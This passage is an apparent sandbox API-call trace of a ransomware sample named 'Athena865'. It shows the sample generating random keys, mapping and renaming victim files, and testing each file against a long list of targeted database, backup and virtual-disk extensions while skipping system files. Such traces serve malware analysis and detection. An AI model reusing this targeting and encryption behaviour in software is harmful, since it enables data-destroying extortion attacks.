(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.athena865"), dwFlags=0x1) returned 1 [0121.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5030) returned 1 [0121.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.110] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.111] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.111] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.111] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b0, lpName=0x0) returned 0x154 [0121.120] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b0) returned 0x100000 [0121.122] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.122] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.123] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.123] CloseHandle (hObject=0x154) returned 1 [0121.124] CloseHandle (hObject=0x17c) returned 1 [0121.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.124] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".") returned 1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="..") returned 1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="windows") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="bootmgr") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="temp") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="pagefile.sys") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="boot") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ids.txt") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ntuser.dat") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="perflogs") returned -1 [0121.124] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="MSBuild") returned -1 [0121.124] lstrlenW (lpString="AG00160_.GIF") returned 12 [0121.124] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00160_.GIF" | out: lpString1="AG00160_.GIF") returned="AG00160_.GIF" [0121.125] lstrlenW (lpString="AG00160_.GIF") returned 12 [0121.125] lstrlenW (lpString="Athena865") returned 9 [0121.125] lstrcmpiW (lpString1="0160_.GIF", lpString2="Athena865") returned -1 [0121.125] lstrlenW (lpString=".dll") returned 4 [0121.125] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".dll") returned 1 [0121.125] lstrlenW (lpString=".lnk") returned 4 [0121.125] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".lnk") returned 1 [0121.125] lstrlenW (lpString=".ini") returned 4 [0121.125] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".ini") returned 1 [0121.125] lstrlenW (lpString=".sys") returned 4 [0121.125] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".sys") returned 1 [0121.125] lstrlenW (lpString="AG00160_.GIF") returned 12 [0121.125] lstrlenW (lpString="bak") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.125] lstrlenW (lpString="ba_") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.125] lstrlenW (lpString="dbb") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.125] lstrlenW (lpString="vmdk") returned 4 [0121.125] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.125] lstrlenW (lpString="rar") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.125] lstrlenW (lpString="zip") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.125] lstrlenW (lpString="tgz") returned 3 [0121.125] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.125] lstrlenW (lpString="vbox") returned 4 [0121.125] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.125] lstrlenW (lpString="vdi") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.126] lstrlenW (lpString="vhd") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.126] lstrlenW (lpString="vhdx") returned 4 [0121.126] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.126] lstrlenW (lpString="avhd") returned 4 [0121.126] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.126] lstrlenW (lpString="db") returned 2 [0121.126] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.126] lstrlenW (lpString="db2") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.126] lstrlenW (lpString="db3") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.126] lstrlenW (lpString="dbf") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.126] lstrlenW (lpString="mdf") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.126] lstrlenW (lpString="mdb") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.126] lstrlenW (lpString="sql") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.126] lstrlenW (lpString="sqlite") returned 6 [0121.126] lstrcmpiW (lpString1="0_.GIF", lpString2="sqlite") returned -1 [0121.126] lstrlenW (lpString="sqlite3") returned 7 [0121.126] lstrcmpiW (lpString1="60_.GIF", lpString2="sqlite3") returned -1 [0121.126] lstrlenW (lpString="sqlitedb") returned 8 [0121.126] lstrcmpiW (lpString1="160_.GIF", lpString2="sqlitedb") returned -1 [0121.126] lstrlenW (lpString="xml") returned 3 [0121.126] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.127] lstrlenW (lpString="$er") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.127] lstrlenW (lpString="4dd") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.127] lstrlenW (lpString="4dl") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.127] lstrlenW (lpString="^^^") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.127] lstrlenW (lpString="abs") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.127] lstrlenW (lpString="abx") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.127] lstrlenW (lpString="accdb") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.127] lstrlenW (lpString="accdc") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.127] lstrlenW (lpString="accde") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.127] lstrlenW (lpString="accdr") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.127] lstrlenW (lpString="accdt") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.127] lstrlenW (lpString="accdw") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.127] lstrlenW (lpString="accft") returned 5 [0121.127] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.127] lstrlenW (lpString="adb") returned 3 [0121.127] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.128] lstrlenW (lpString="adb") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.128] lstrlenW (lpString="ade") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.128] lstrlenW (lpString="adf") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.128] lstrlenW (lpString="adn") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.128] lstrlenW (lpString="adp") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.128] lstrlenW (lpString="alf") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.128] lstrlenW (lpString="ask") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.128] lstrlenW (lpString="btr") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.128] lstrlenW (lpString="cat") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.128] lstrlenW (lpString="cdb") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.128] lstrlenW (lpString="ckp") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.128] lstrlenW (lpString="cma") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.128] lstrlenW (lpString="cpd") returned 3 [0121.128] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.128] lstrlenW (lpString="dacpac") returned 6 [0121.128] lstrcmpiW (lpString1="0_.GIF", lpString2="dacpac") returned -1 [0121.128] lstrlenW (lpString="dad") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.129] lstrlenW (lpString="dadiagrams") returned 10 [0121.129] lstrcmpiW (lpString1="00160_.GIF", lpString2="dadiagrams") returned -1 [0121.129] lstrlenW (lpString="daschema") returned 8 [0121.129] lstrcmpiW (lpString1="160_.GIF", lpString2="daschema") returned -1 [0121.129] lstrlenW (lpString="db-journal") returned 10 [0121.129] lstrcmpiW (lpString1="00160_.GIF", lpString2="db-journal") returned -1 [0121.129] lstrlenW (lpString="db-shm") returned 6 [0121.129] lstrcmpiW (lpString1="0_.GIF", lpString2="db-shm") returned -1 [0121.129] lstrlenW (lpString="db-wal") returned 6 [0121.129] lstrcmpiW (lpString1="0_.GIF", lpString2="db-wal") returned -1 [0121.129] lstrlenW (lpString="dbc") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.129] lstrlenW (lpString="dbs") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.129] lstrlenW (lpString="dbt") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.129] lstrlenW (lpString="dbv") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.129] lstrlenW (lpString="dbx") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.129] lstrlenW (lpString="dcb") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.129] lstrlenW (lpString="dct") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.129] lstrlenW (lpString="dcx") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0121.129] lstrlenW (lpString="ddl") returned 3 [0121.129] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0121.129] lstrlenW (lpString="dlis") returned 4 [0121.130] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0121.130] lstrlenW (lpString="dp1") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0121.130] lstrlenW (lpString="dqy") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0121.130] lstrlenW (lpString="dsk") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0121.130] lstrlenW (lpString="dsn") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0121.130] lstrlenW (lpString="dtsx") returned 4 [0121.130] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0121.130] lstrlenW (lpString="dxl") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0121.130] lstrlenW (lpString="eco") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0121.130] lstrlenW (lpString="ecx") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0121.130] lstrlenW (lpString="edb") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0121.130] lstrlenW (lpString="epim") returned 4 [0121.130] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0121.130] lstrlenW (lpString="fcd") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0121.130] lstrlenW (lpString="fdb") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0121.130] lstrlenW (lpString="fic") returned 3 [0121.130] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0121.130] lstrlenW (lpString="flexolibrary") returned 12 [0121.130] lstrlenW (lpString="fm5") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0121.131] lstrlenW (lpString="fmp") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0121.131] lstrlenW (lpString="fmp12") returned 5 [0121.131] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0121.131] lstrlenW (lpString="fmpsl") returned 5 [0121.131] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0121.131] lstrlenW (lpString="fol") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0121.131] lstrlenW (lpString="fp3") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0121.131] lstrlenW (lpString="fp4") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0121.131] lstrlenW (lpString="fp5") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0121.131] lstrlenW (lpString="fp7") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0121.131] lstrlenW (lpString="fpt") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0121.131] lstrlenW (lpString="frm") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0121.131] lstrlenW (lpString="gdb") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.131] lstrlenW (lpString="gdb") returned 3 [0121.131] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.131] lstrlenW (lpString="grdb") returned 4 [0121.131] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0121.131] lstrlenW (lpString="gwi") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0121.132] lstrlenW (lpString="hdb") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0121.132] lstrlenW (lpString="his") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0121.132] lstrlenW (lpString="ib") returned 2 [0121.132] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0121.132] lstrlenW (lpString="idb") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0121.132] lstrlenW (lpString="ihx") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0121.132] lstrlenW (lpString="itdb") returned 4 [0121.132] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0121.132] lstrlenW (lpString="itw") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0121.132] lstrlenW (lpString="jet") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0121.132] lstrlenW (lpString="jtx") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0121.132] lstrlenW (lpString="kdb") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0121.132] lstrlenW (lpString="kexi") returned 4 [0121.132] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0121.132] lstrlenW (lpString="kexic") returned 5 [0121.132] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0121.132] lstrlenW (lpString="kexis") returned 5 [0121.132] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0121.132] lstrlenW (lpString="lgc") returned 3 [0121.132] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0121.133] lstrlenW (lpString="lwx") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0121.133] lstrlenW (lpString="maf") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0121.133] lstrlenW (lpString="maq") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0121.133] lstrlenW (lpString="mar") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0121.133] lstrlenW (lpString="marshal") returned 7 [0121.133] lstrcmpiW (lpString1="60_.GIF", lpString2="marshal") returned -1 [0121.133] lstrlenW (lpString="mas") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0121.133] lstrlenW (lpString="mav") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0121.133] lstrlenW (lpString="maw") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0121.133] lstrlenW (lpString="mdbhtml") returned 7 [0121.133] lstrcmpiW (lpString1="60_.GIF", lpString2="mdbhtml") returned -1 [0121.133] lstrlenW (lpString="mdn") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0121.133] lstrlenW (lpString="mdt") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0121.133] lstrlenW (lpString="mfd") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0121.133] lstrlenW (lpString="mpd") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0121.133] lstrlenW (lpString="mrg") returned 3 [0121.133] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0121.133] lstrlenW (lpString="mud") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0121.134] lstrlenW (lpString="mwb") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0121.134] lstrlenW (lpString="myd") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0121.134] lstrlenW (lpString="ndf") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0121.134] lstrlenW (lpString="nnt") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0121.134] lstrlenW (lpString="nrmlib") returned 6 [0121.134] lstrcmpiW (lpString1="0_.GIF", lpString2="nrmlib") returned -1 [0121.134] lstrlenW (lpString="ns2") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0121.134] lstrlenW (lpString="ns3") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0121.134] lstrlenW (lpString="ns4") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0121.134] lstrlenW (lpString="nsf") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0121.134] lstrlenW (lpString="nv") returned 2 [0121.134] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0121.134] lstrlenW (lpString="nv2") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0121.134] lstrlenW (lpString="nwdb") returned 4 [0121.134] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0121.134] lstrlenW (lpString="nyf") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0121.134] lstrlenW (lpString="odb") returned 3 [0121.134] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.135] lstrlenW (lpString="odb") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.135] lstrlenW (lpString="oqy") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0121.135] lstrlenW (lpString="ora") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0121.135] lstrlenW (lpString="orx") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0121.135] lstrlenW (lpString="owc") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0121.135] lstrlenW (lpString="p96") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0121.135] lstrlenW (lpString="p97") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0121.135] lstrlenW (lpString="pan") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0121.135] lstrlenW (lpString="pdb") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0121.135] lstrlenW (lpString="pdm") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0121.135] lstrlenW (lpString="pnz") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0121.135] lstrlenW (lpString="qry") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0121.135] lstrlenW (lpString="qvd") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0121.135] lstrlenW (lpString="rbf") returned 3 [0121.135] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0121.136] lstrlenW (lpString="rctd") returned 4 [0121.136] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0121.136] lstrlenW (lpString="rod") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0121.136] lstrlenW (lpString="rodx") returned 4 [0121.136] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0121.136] lstrlenW (lpString="rpd") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0121.136] lstrlenW (lpString="rsd") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0121.136] lstrlenW (lpString="sas7bdat") returned 8 [0121.136] lstrcmpiW (lpString1="160_.GIF", lpString2="sas7bdat") returned -1 [0121.136] lstrlenW (lpString="sbf") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0121.136] lstrlenW (lpString="scx") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0121.136] lstrlenW (lpString="sdb") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0121.136] lstrlenW (lpString="sdc") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0121.136] lstrlenW (lpString="sdf") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0121.136] lstrlenW (lpString="sis") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0121.136] lstrlenW (lpString="spq") returned 3 [0121.136] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0121.137] lstrlenW (lpString="te") returned 2 [0121.137] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0121.137] lstrlenW (lpString="teacher") returned 7 [0121.137] lstrcmpiW (lpString1="60_.GIF", lpString2="teacher") returned -1 [0121.137] lstrlenW (lpString="tmd") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0121.137] lstrlenW (lpString="tps") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0121.137] lstrlenW (lpString="trc") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.137] lstrlenW (lpString="trc") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.137] lstrlenW (lpString="trm") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0121.137] lstrlenW (lpString="udb") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0121.137] lstrlenW (lpString="udl") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0121.137] lstrlenW (lpString="usr") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0121.137] lstrlenW (lpString="v12") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0121.137] lstrlenW (lpString="vis") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0121.137] lstrlenW (lpString="vpd") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0121.137] lstrlenW (lpString="vvv") returned 3 [0121.137] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0121.138] lstrlenW (lpString="wdb") returned 3 